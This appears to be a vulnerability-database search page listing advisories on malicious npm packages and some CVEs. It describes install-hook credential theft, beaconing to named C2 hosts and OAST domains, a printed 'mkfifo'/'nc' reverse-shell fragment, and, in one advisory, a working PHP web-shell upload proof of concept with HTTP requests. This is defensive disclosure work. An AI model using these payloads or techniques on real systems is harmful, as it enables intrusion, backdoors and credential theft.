Search: whoami.exe
27 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c8aa14d0b9945053b63f4396f09365c5daefec60a25e931f165b3473e7c564f1) The package's preinstall.js lifecycle script runs on npm install and executes host reconnaissance commands (whoami, ipconfig/ip addr, directory listings of C:\ and /, tasklist/ps, and a full environment-variable dump via set/env) and POSTs the collected output over plain HTTP to a hardcoded remote server at 209.126.81.147, using path segments under a canary token 'etoro-nuget-verify1f8eaa57a875'. The package name 'etoro-cashout' at version 99.0.2, the eToro-branded canary, and the beacon path shape are consistent with a dependency-confusion probe targeting an internal eToro registry: any build environment that resolves this public name executes the exfiltration on install. Data leaving the installer includes hostname, username, working directory, filesystem listings, running processes, and the full process environment, which on CI systems routinely contains cloud credentials, registry tokens, and API keys. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d7d5f0fb8c06c23afad28686a3d3d689dfc5a3786c73bff2c569fd8b55f2b4ad) The package's preinstall.js lifecycle script executes automatically on `npm install` and performs reconnaissance on the installer host. It collects hostname, username, current working directory, platform, and the output of OS commands including `whoami /all`, `ipconfig /all` / `ifconfig`, `tasklist` / `ps aux`, directory listings of `/`, `C:\`, and the user's home, and a dump of environment variables. The collected data is transmitted via HTTP GET and POST to the hardcoded bare IP endpoint `http://209.126.81.147/etoro-nuget-verify1f8eaa57a875/v4/...`. The package's declared main is an empty stub and its description ("Internal service client library") combined with the implausibly high version number `99.0.2` is consistent with a dependency-confusion attack targeting an internal `etoro-aggregator` name. The manifest plus the preinstall script constitute the entire payload; installing the package leaks installer host identity, network configuration, filesystem structure, and environment variables (which routinely contain credentials and tokens) to an attacker-controlled endpoint. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (bfe27d37497e77c8f0eca9105a6b64c646c7ef1439c05ec50edaf40215037f92) etoro-analytics@99.0.2 ships a preinstall lifecycle script (preinstall.js) that automatically runs on `npm install`. The script collects installer host identifiers (hostname, username, cwd, platform) and issues an initial HTTP GET to http://209.126.81.147/etoro-nuget-verify1f8eaa57a875/v4/<host>/<user>/<platform>/<cwd>. It then invokes child_process.execSync on platform-branched reconnaissance commands (`whoami /all`, `ipconfig /all`, `tasklist` on Windows; `whoami`, `ifconfig`, `ps aux`, `env` on POSIX) plus home/root directory listings and POSTs the output back to the same hardcoded bare-IP endpoint over plain HTTP. The package name, implausibly high version number (99.0.2), and canary-token URL path are consistent with a dependency-confusion beacon targeting an internal etoro package namespace. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e44aff5a1a0b68ff9c9b3456693ef1b8266dce7001dd8b6ff56bed428bbc7c5a) On npm install, preinstall.js runs automatically and sends the installer's hostname, username, platform, and current working directory via HTTP GET to http://209.126.81.147/etoro-nuget-verify1f8eaa57a875/npm/v2/<host>/<user>/<platform>/<cwd>, then executes `whoami; id; hostname -f` (or `whoami /all` on Windows) via child_process and POSTs the command output to the same hardcoded bare-IP endpoint over plain HTTP. The package.json advertises the package as an `Internal service client library` at version 99.0.0 with no real functional code beyond the preinstall hook, and the beacon path segment `etoro-nuget-verify...` targets an internal eToro namespace, matching the dependency-confusion recon pattern. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (385c1c361c59557137d095062a9f767a4c0cd0a1ef78b0b26e4654147e137e3c) The package's preinstall.js runs automatically on `npm install` and collects host identifiers (os.hostname(), os.userInfo().username, process.cwd(), process.platform), sending them via HTTP GET to a hardcoded bare-IP endpoint at http://209.126.81.147/etoro-nuget-verify1f8eaa57a875/npm/v2/<hostname>/<user>/<platform>/<cwd>. It then executes `whoami`, `id`, and `hostname -f` (or `whoami /all` on Windows) via child_process and POSTs the command output to the same endpoint. The package's main entry (index.js) is empty; the only shipped behavior is the reconnaissance beacon. The package name and version (etoro-auth@99.0.0) together with the URL path segment `etoro-nuget-verify` fit a dependency-confusion probe targeting eToro's internal namespace, with the high version number used to win resolution against an internal package of the same name. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package 'verify-contract-ethers' version 1.0.0 is identified as malicious. It contains a binary named 'fuels-typegen' that executes the 'whoami' command and sends the package name, username, hostname, and platform information to a hardcoded external Cloudflare Workers URL. The package exhibits behavior consistent with typosquatting or dependency confusion and lacks legitimate functionality beyond data exfiltration. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package 'generate-schema-ethers' version 1.0.0 is identified as malicious. Upon execution, it runs the 'whoami' command and sends system information including OS username, hostname, platform, and package name to a hardcoded external URL without user consent. This behavior is consistent with reconnaissance activity typical of typosquatting or dependency confusion attacks. The package is considered fully compromising any system where it is installed or run. | GCVE Database | |||
| High | 8.4 | EPSS 0.3% | High8.4EPSS 0.3%GCVE DatabaseCVE-2025-24359 A vulnerability in the asteval library used by Checkov allows attackers controlling input to bypass sandbox restrictions and execute arbitrary Python code. This occurs due to unsafe handling of formatted string AST nodes, enabling crafted format strings to escape the sandbox. The flaw can be exploited to access protected attributes and execute system commands. A proof-of-concept demonstrates executing the 'whoami' command on the host. The vulnerability affects Checkov versions from 3.2.420 up to but not including 3.2.490. A patch is available to remediate this issue. | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d2054792481618ddf941c251fc0793ec8c1b85fe14107567b5c29cac9330d5be) package.json declares a postinstall hook that executes index.js on npm install. index.js requires os, https, and child_process, runs `whoami` via execSync, and reads os.hostname(), process.cwd(), and non-internal IPv4 addresses from os.networkInterfaces(). The collected host and identity data is sent as query-string parameters via https.get to a hardcoded Burp Collaborator subdomain (xghhv5sajm33m7krgi4n8my0mrsig84x.oastify.com). Package metadata is consistent with a dependency-confusion lure: version 99.9.0, empty author/description/keywords, and a nonsense dependency name `dependencyfsdsfdsfg` pinned to ^99.9.0. ## Source: ghsa-malware (30b6f1747cf452fcc6c383a05d4c901dd7da71fcae0757210cb361e408a73d6a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (945179057c5bd93b985c3c532baa35379ce9dd9603e26d17e63201beb25868ae) The preinstall lifecycle script in cdf-tag-commander-helper@3.6.2 runs automatically on `npm install`. It executes `whoami` and `hostname`, retrieves the machine's public IP via ifconfig.me, and issues a plain-HTTP GET to a hardcoded Interactsh-style out-of-band callback subdomain (kwphewvexhjbtfduscqybx6q7c862eh0g.oast.fun), passing the three values as query parameters. The README states that the package makes no network requests, which contradicts the shipped code. The behavior is a reconnaissance beacon consistent with dependency-confusion targeting: on install, an attacker learns which internal build hosts and user accounts have resolved this package name. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (83df5c7e17dd2b9a808bddee17deb157e88a12632a632177f7969fce9ccfa7a8) The package's preinstall lifecycle script runs automatically on `npm install` and executes `whoami` and `hostname`, then fetches the machine's public IP from ifconfig.me and transmits all three values as query-string parameters to a hardcoded out-of-band interaction domain (kwphewvexhjbtfduscqybx6q7c862eh0g.oast.fun) over plain HTTP via curl, with a wget fallback. The domain is an OAST (out-of-band application security testing) collector used to receive exfiltrated reconnaissance data. The behavior fires unconditionally with no first-party relationship, no consent, and no documented purpose consistent with the package name. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f6113dcb20ef051691e0cc0034132b94421604bd16a085229f75aae5c612a3d9) package.json declares preinstall and postinstall lifecycle scripts that run curl against http://54.37.234.136/voicemail over plain HTTP, sending the installer's username (whoami), hostname, working directory, and a timestamp as query-string parameters. Both hooks fire automatically on `npm install`, transmitting installer host identifiers to a hardcoded bare-IP endpoint with no relation to any documented package purpose. The behavior matches reconnaissance-beacon shape suitable for follow-on targeting of the installer's host. ## Source: ossf-package-analysis (178c9841a69c4a2de3ad248f8d4dbba8f004c8e8947a34f9e6ae12404183e6e2) The OpenSSF Package Analysis project identified 'test2221' @ 2.2.4 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package @hkyyy/portal-widget-helper-0601 version 1.0.0 contains malicious code that executes a post-installation script performing reconnaissance on the host system. The script runs commands such as whoami, id, hostname, and collects environment details, then attempts to exfiltrate data via network requests, although the exfiltration URL is currently a placeholder. This package appears to be designed for dependency confusion attacks to fingerprint and potentially compromise systems that mistakenly install it. Any system with this package installed should be considered fully compromised. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (45df33d93645560085a7efe94308b0e3d846f30c829f2d2804bcdb1245626289) package.json declares `preinstall: node index.js`, which fires automatically on `npm install`. index.js loads child_process/os/https, runs `whoami` and `id`, collects host identifiers (os.hostname, os.platform, os.arch, os.homedir, os.userInfo username/uid/gid/shell, os.type, os.release, process.cwd), and POSTs the collected JSON to a hardcoded Burp Collaborator (OAST) subdomain at https://3quc59n15cfcretszaygwfm9v01rphd6.oastify.com/detox56. The package ships no functional code beyond this beacon, has empty description/author, and is published under the `@broadpeak` scope — consistent with dependency-confusion reconnaissance impersonating an internal Broadpeak package. Installing this package leaks installer host/user identifiers to an attacker-controlled out-of-band endpoint and confirms code execution inside the target's build environment for follow-up targeting. | GCVE Database | |||
| High | 8.8 | High8.8GCVE Database #### Summary An authenticated user with the HR "Manage Employees" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server. #### Details The document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim: ```php // hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573) $upload_dir = company_path().'/documents/employees'; if (!file_exists($upload_dir)) mkdir($upload_dir, 0777, true); $file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name']; if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... } ``` There is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern. Reachability of the written file: - `company_path()` resolves under the web root; `config.default.php` sets `$comp_path = $path_to_root.'/company'`, so uploads land in `company/0/documents/employees/`. - The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log` only — it does **not** block `.php` and does **not** cover `company/`. - The stored path is then echoed **unescaped** into a clickable "View" link (`hrm/includes/ui/employee_ui.inc` lines 153-154 — `file_path` concatenated straight into `href`), handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79). A crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `['name']`. #### Proof of Concept The upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by`check_csrf_token()` against `$_SESSION['csrf_token']`), so first GET the Documents form to read the hidden `_token`, then submit. Against your **own** local instance: ```http POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1 Host: <your-local-instance> Cookie: <authenticated session> Content-Type: multipart/form-data; boundary=b --b Content-Disposition: form-data; name="_token" <value of the hidden _token field from the GET response> --b Content-Disposition: form-data; name="doc_type_id" <a valid document type id> --b Content-Disposition: form-data; name="doc_name" x --b Content-Disposition: form-data; name="doc_file"; filename="shell.php" Content-Type: application/x-php <?php system($_GET['c']); ?> --b Content-Disposition: form-data; name="save_document" Save Document --b-- ``` Then request the stored file (its exact path is shown in the Documents tab's "View" link): ```http GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1 ``` The command in `c` executes on the server. #### Validation (performed locally, no network) The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's **verbatim** path/move logic wrote `company/0/documents/employees/1_<ts>_shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload: ``` $ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id' uid=501(...) gid=20(staff) ... $ curl '.../<same>.php?c=uname%20-sm;whoami' Darwin arm64 <user> ``` Caveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (`poc/rce_demo.php`); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root `.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file. #### Impact Remote code execution on the hosting server by any authenticated operator holding the delegable `SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to administrators, treat privile | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5679f4434881406ce5af055e04a3ab7403158df3404c928a7fbc67596d0e9631) ohcm-culture-formatting@5.0.0 declares a preinstall hook (`"preinstall": "node index.js"`) that auto-executes on `npm install`. index.js uses `child_process.exec` to run a shell pipeline that reads `/etc/passwd`, `/etc/hosts`, `/etc/shadow`, and `id` output, base64-encodes the concatenation, and POSTs it via curl to `http://d98fu4tmls2g936th9qgfxje1qj9g91a6.oast.fun/ohcm-culture-formatting/$(whoami)/$(hostname)/`, embedding the installer's username and hostname in the URL path and the file contents in the User-Agent header. The destination is an Interactsh/OAST out-of-band interaction collector. The package name mimics an internal ADP/Lifion (`ohcm-*`) namespace and the description string is `Lifion host`, consistent with a dependency-confusion payload targeting that internal namespace. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package `antsrcsrctest` masquerades as a "simple date formatting utility" (`index.js` exports a harmless `formatDate()` function that is never referenced by the malicious code) but is a credential-harvesting and cloud-metadata-stealing reconnaissance tool. It declares a `preinstall: node preinstall.js` hook, so the payload executes automatically on `npm install`, before the package is ever imported or used. `preinstall.js` collects `os.hostname()`, `os.platform()`, `process.cwd()`, and the victim's entire `process.env` (all environment variables, frequently containing API keys, tokens and secrets); fingerprints container context by checking for `/.dockerenv` and reading `/proc/1/cgroup` and `/proc/self/mountinfo`; runs local reconnaissance commands via `child_process.execSync` (`id`, `whoami`, `hostname`, `ps aux`); and performs SSRF against the Alibaba Cloud (Aliyun) instance metadata service at `http://100.100.100.200/latest/meta-data/`, specifically probing `/latest/meta-data/ram/security-credentials/` in an attempt to steal cloud IAM role credentials. All of the above (including the full environment variable dump) is exfiltrated via two plaintext HTTP POST requests (to `/` and `/env`) to a hardcoded C2 endpoint `http://101.35.44.248` (raw IP, port 80, no TLS) using Node's built-in `http` module. All errors are silently swallowed so the attack is invisible to the installer. The package was published by npm user `xingzhigege` (`xingzhi@foxmail.com`). Analysis performed via static review only (npm registry metadata and package source retrieved as text via the npm registry and unpkg CDN) — the package was not installed or executed. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (80da6b239fe02ae1bbf7086d885062181d9ea048490ad77911a63ae4c393cc42) On `npm install`, the declared preinstall script (preinstall.js) POSTs the installer's full `process.env`, `os.hostname()`, `os.platform()`, cwd, container-detection artifacts (`/.dockerenv`, `/proc/1/cgroup`, `/proc/self/mountinfo`), and the output of shell reconnaissance commands (`id`, `whoami`, `hostname`, `ps aux`) to `http://101.35.44.248` over plain HTTP. The script additionally issues `curl` requests to the Alibaba Cloud instance metadata service at `100.100.100.200`, including the `latest/meta-data/ram/security-credentials/` path that returns temporary IAM credentials for the instance role, and forwards the response to the same attacker endpoint. The package advertises itself as "a simple date formatting utility" and index.js contains only a 7-line date formatter, confirming a decoy cover story for install-time credential theft and environment exfiltration. ## Source: ossf-package-analysis (f7c7439acf2736b50448bcb0f682babcb4ad09d0f316acb5ec5442130f3ee3f2) The OpenSSF Package Analysis project identified 'antsrcsrctest' @ 1.0.0 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (41fd62df844e3fba17cb6200b0c9f2ce518a630677ed96f4cf0349b2a3eb7a3d) On `npm install`, the package's preinstall hook (`node index.js`) collects installer host identity — hostname, OS user info, output of `whoami` and `id`, shell, home directory, platform, and current working directory — and POSTs the JSON payload to a hardcoded Burp Collaborator subdomain at https://rsnchacyin4dnjv0oc8prrwn1e77vzjo.oastify.com/detox56. The package ships under an internal-looking scope (@vwfs-its) with empty author/description/license metadata and no functional code beyond the recon beacon, matching the shape of a targeted dependency-confusion attack: publish a public package that mirrors an internal name so that a misconfigured resolver in the target's build environment pulls the public copy and executes the payload during install. ## Source: ossf-package-analysis (2e08b57aacea0c5dcc883413eddf7737e7a45fa2c21bd5381d4e80235b3ef182) The OpenSSF Package Analysis project identified '@vwfs-its/sf-sac-frontend' @ 20.1.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ed72d8256a1831ef61f01d101c9b9de21db822516cb3b61d1fffd1ef7b3bb0c7) rio-design-tokens@99.99.100 is a dependency-confusion attack package. package.json declares `preinstall: node index.js`, so `npm install` auto-executes index.js, which harvests installer secrets and system data and POSTs them to an attacker-controlled oastify.com (Burp Collaborator) subdomain. Specifically, index.js collects `os.hostname()`, `os.userInfo()`, output of `whoami`/`id`/`pwd` (via `execSync` with curl and other commands), the contents of `~/.npmrc` and `~/.yarnrc` (which contain npm auth tokens), `package-lock.json`, `yarn.lock`, `/etc/os-release`, `/etc/hosts`, probes AWS IMDS, and reads a targeted env-var list including `NPM_TOKEN`, `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`, `GITHUB_TOKEN`, `GITLAB_CI`, and `CODEARTIFACT_AUTH_TOKEN`, then sends the aggregated payload via `https.request(... POST)` to `7v343wmb7yqwapwew87n2p4stjzbn4bt.oastify.com`. The package's own metadata self-identifies as "Dependency Confusion POC" with version 99.99.100 and author "YourName" — the canonical shape of a public-registry package intended to shadow a private internal package name during resolution. Installing this package on a developer workstation, CI runner, or build system will exfiltrate registry auth tokens, cloud credentials, and CI secrets to an external collaborator host. ## Source: ghsa-malware (f953c7dfe25e2d7da488167fee4e47d465f58bb2e45a0e52ccdba8f0ae267109) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (e83e18c7c88cb4c0e488342a49e4d0733087fa7e7ea7e833f1fbb6e8fbf5a35e) The OpenSSF Package Analysis project identified 'rio-design-tokens' @ 99.99.100 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The package 'paperclip-host-utils' is a purpose-built malware package published by the npm account 'srm0rgan' (srm0rgan@proton.me) as part of a coordinated campaign of fake 'Paperclip' VPS-maintenance adapters (siblings: paperclip2, vps-maintenance, vps-maintenance-paperclip-adapter, vps-adapter-core). Its runtime code (`dist/server/execute.js`) presents as a legitimate Paperclip external adapter that runs maintenance shell commands locally or over SSH, which is social-engineering cover for the install-time payload. From version 1.0.2 onward the package declares a malicious install hook that npm runs automatically during `npm install`. The hooked script and payload were repeatedly changed across rapid same-day republishes (1.0.2-1.0.7), an evasion tactic, cycling through three payload variants that all beacon to the hardcoded C2 185.112.147.174: - Versions 1.0.2-1.0.5 (`postinstall` -> `node dist/postinstall.js`): a persistence + backdoor payload. It appends the attacker's ed25519 key (comment `deploy@paperclip-host`, `AAAAC3NzaC1lZDI1NTE5AAAAIDGA+v9tfK8YVeZejZN2y99mNvefRmQx99lJtjKjIAK2`) to `authorized_keys` for /root, /home/runner, /home/paperclip, /home/ec2-user, /home/centos and /home/ubuntu; installs a crontab entry and `/etc/cron.d/paperclip-adapter-sync` that run a `mkfifo`+`nc` reverse shell to 185.112.147.174:443 every minute; and launches a `mkfifo`+`nc` reverse-shell loop across ports 443, 80, 8080, 7007, 4444, 5555, 1337 and 9001. - Version 1.0.6 (`postinstall` -> `node dist/setup.js`): a credential stealer disguised as 'npm-compatible telemetry and diagnostics'. It collects whoami/hostname/id/pwd, the full process environment, `git remote`/`git config`, sudo and docker status, and reads AWS credentials/config, SSH private keys, `.npmrc`, `.netrc`, `.git-credentials`, Docker config, `/home/runner/*` CI credentials, and `.github/workflows` files; base64-encodes the data and exfiltrates it in chunks via HTTP POST to `http://185.112.147.174:8080/npm/v1/security/audits/quick` (spoofing an npm audit request), then spawns `mkfifo`+`nc` reverse shells across the same eight ports in a loop. - Version 1.0.7 (`postinstall` -> `node dist/postinstall.js`): a minimal single reverse shell that connects to 185.112.147.174:443 and pipes a spawned `/bin/sh` over the socket. Version 1.0.0 shipped no install hook (the initial hookless facade); the package is malicious from inception as part of the campaign. Any developer workstation or CI job that ran `npm install paperclip-host-utils` at version 1.0.2 or later must be considered fully compromised; rotate all reachable credentials, tokens, and SSH keys from a separate clean machine and remove the attacker key from `authorized_keys`, the injected crontab entry, and `/etc/cron.d/paperclip-adapter-sync`. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b7e57197a05889313009e318f52b5c6831e6ce6ce928553210c489433d2ef87c) On `npm install`, package.json's postinstall executes dist/setup.js and dist/postinstall.js. The scripts read installer-side secrets — ~/.aws/credentials, ~/.aws/config, ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.npmrc, ~/.netrc, ~/.git-credentials, ~/.docker/config.json, GitHub Actions runner paths,.github/workflows contents, and the full process.env — and POST them base64-chunked to http://185.112.147.174:8080/npm/v1/security/audits/quick and http://185.112.147.174:8080/exfil (path disguised as an npm audit endpoint). A `find` sweep across /home/runner, /home/devuser, /work, and /root harvests files matching flag*, *.env, secret*, token*, credentials, and *.kubeconfig — purpose-built for GitHub Actions and CI runners. After exfiltration, a detached shell opens named-pipe reverse shells (`mkfifo /tmp/.f; /bin/sh -i... nc 185.112.147.174 <port>`) in an infinite loop across ports 443, 80, 8080, 7007, 4444, 5555, 1337, and 9001. A sibling routine appends an attacker-controlled ssh-ed25519 key (`deploy@paperclip-host`) to authorized_keys under /root, /home/runner, /home/devuser, /home/paperclip, /home/ec2-user, and /home/centos, and installs /etc/cron.d/paperclip-adapter-sync plus a user crontab entry that calls back to 185.112.147.174:443 every minute. The package name and README impersonate the @paperclipai adapter family as social-engineering cover; the declared dependency `@paperclipai/adapter-utils` is pinned to a suspicious ^2026.626.0. Any machine or CI runner that runs `npm install` on this package is credential-compromised and backdoored. ## Source: ghsa-malware (4a7cf91b41f6980a21fe3a566b9f251bffaf8326222d7e34daeadcf864355768) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious softw | GCVE Database |
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